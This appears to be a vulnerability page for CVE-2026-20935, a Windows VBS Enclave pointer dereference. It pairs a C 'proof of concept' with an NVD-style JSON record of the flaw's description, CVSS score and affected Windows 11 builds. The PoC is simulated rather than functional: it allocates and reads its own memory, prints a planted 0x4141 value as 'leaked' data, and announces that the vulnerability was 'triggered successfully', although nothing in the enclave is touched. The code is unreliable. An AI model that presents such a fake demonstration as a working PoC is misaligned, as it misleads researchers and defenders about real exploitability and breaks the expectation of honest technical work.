CVE-2026-20935

// CVE-2026-20935 PoC - Windows VBS Enclave Pointer Dereference // This PoC demonstrates the vulnerability concept (for educational purposes only) #include <windows.h> #include <stdio.h> // Simulated VBS Enclave interface typedef struct _VBS_ENCLAVE_CONTEXT { void* enclave_base; void* untrusted_pointer; // Vulnerable field DWORD enclave_size; } VBS_ENCLAVE_CONTEXT, *PVBS_ENCLAVE_CONTEXT; // Function that demonstrates the vulnerable pointer dereference void TriggerVulnerableDereference(PVBS_ENCLAVE_CONTEXT ctx) { // VULNERABILITY: Direct dereference of untrusted pointer // Without proper validation, attacker-controlled pointer can be used if (ctx->untrusted_pointer != NULL) { // This is the vulnerable operation - untrusted pointer dereference void* leaked_data = *(void**)ctx->untrusted_pointer; printf("[+] Leaked pointer value: %p\n", leaked_data); } } // Setup malicious context to trigger vulnerability BOOL SetupMaliciousContext(PVBS_ENCLAVE_CONTEXT ctx) { // Allocate attacker-controlled memory ctx->untrusted_pointer = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (ctx->untrusted_pointer == NULL) { return FALSE; } // Write controlled pointer value to trigger dereference *(void**)ctx->untrusted_pointer = (void*)0x4141414141414141; return TRUE; } int main() { printf("CVE-2026-20935 PoC - VBS Enclave Untrusted Pointer Dereference\n"); printf("===========================================================\n\n"); VBS_ENCLAVE_CONTEXT ctx = {0}; if (SetupMaliciousContext(&ctx)) { printf("[*] Malicious context setup complete\n"); printf("[*] Triggering vulnerable pointer dereference...\n"); // Trigger the vulnerability TriggerVulnerableDereference(&ctx); printf("[+] Vulnerability triggered successfully\n"); } return 0; }

{"cve": {"id": "CVE-2026-20935", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:20.500", "lastModified": "2026-01-16T15:18:31.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an unauthorized attacker to disclose information locally."}, {"lang": "es", "value": "Desreferencia de puntero no confiable en el enclave de Seguridad Basada en Virtualización (VBS) de Windows permite a un atacante no autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "7D2B0BB9-E94A-420E-8E53-A4C1136DE73E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "78C4B71B-5345-4D83-A0A9-A15F783CF9A9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "208734FD-5175-4856-9D08-ED6CFF64AA14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "846261D4-ECC2-4DCB-8F8F-F27F8C99F061"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "33E138A3-968B-4109-AC13-D488685F0AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "CC1FE5A1-3E6E-4606-899B-BF7BF3D3DD8D"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20935", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}